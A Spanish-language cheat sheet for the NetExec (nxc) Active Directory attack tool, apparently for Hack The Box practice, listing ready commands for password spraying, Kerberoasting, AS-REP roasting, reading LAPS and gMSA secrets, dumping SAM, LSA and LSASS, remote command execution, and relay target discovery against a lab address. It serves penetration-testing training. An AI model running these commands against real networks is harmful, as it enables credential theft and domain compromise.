NetExec (nxc)

NetExec (nxc) es la navaja suiza de Active Directory: valida credenciales contra muchos equipos a la vez, marca con (Pwn3d!) dónde eres administrador, enumera usuarios y recursos y tiene módulos para volcar LSASS, leer LAPS o gMSA y recoger datos de BloodHound.

Plataforma
Linux (Python)
Web oficial
github.com/Pennyw0rth/NetExec
En HTB
40 máquinas
Instalación
pipx install git+https://github.com/Pennyw0rth/NetExec

Chuleta de NetExec (nxc)

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.
22 comandos

Enumeración

Política de contraseñas (antes de rociar)
nxc smb 10.10.11.20 -u usuario -p 'Password123!' --pass-pol
Grupos del dominio
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --groups
Descargar todo lo legible de los recursos compartidos
nxc smb 10.10.11.20 -u usuario -p 'Password123!' -M spider_plus -o DOWNLOAD_FLAG=True

Kerberos y credenciales

AS-REP roasting
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --asreproast asrep.txt
Kerberoasting
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --kerberoasting kerberoast.txt
Contraseñas de GPP en SYSVOL
nxc smb 10.10.11.20 -u usuario -p 'Password123!' -M gpp_password
Leer LAPS
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' -M laps
Leer contraseñas de gMSA
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --gmsa

Siendo administrador

SAM y LSA
nxc smb 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b --sam --lsa
LSASS con lsassy
nxc smb 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b -M lsassy
Ejecutar un comando
nxc smb 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b -x whoami
Comandos en MSSQL
nxc mssql 10.10.11.20 -u usuario -p 'Password123!' -x whoami

En nuestras chuletas

Escalada en Windows y Active Directory › Active Directory

Nombre del dominio y del DC
netexec smb 10.10.11.20
Usuarios por RID (sesión de invitado)
netexec smb 10.10.11.20 -u guest -p '' --rid-brute
Comprobar credenciales y acceso
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!'
netexec winrm 10.10.11.20 -u 'usuario' -p 'Password123!'
Usuarios del dominio
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!' --users
Password spraying
netexec smb 10.10.11.20 -u usuarios.txt -p 'Password123!' --continue-on-success

Active Directory a fondo › BloodHound

Con NetExec, sin instalar nada más Atacante
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --bloodhound -c All --dns-server 10.10.11.20

Active Directory a fondo › ADCS (ESC1–16)

Enumerar la CA con NetExec Atacante
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' -M adcs

Active Directory a fondo › NTLM relay

Equipos sin firma SMB obligatoria Atacante
nxc smb 10.10.11.20/24 --gen-relay-list relay_targets.txt

Nmap y enumeración de servicios › Servicios

Con netexec (sesión nula e invitado)
netexec smb 10.10.11.20 -u '' -p '' --shares
netexec smb 10.10.11.20 -u 'guest' -p '' --shares
Con credenciales
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!' --shares

Máquinas de HTB donde se usa NetExec (nxc)

Sacadas de los capítulos de los vídeos de IppSec en los que aparece NetExec (nxc). El enlace ▶ salta al minuto de esa parte.

Guías que usan NetExec (nxc)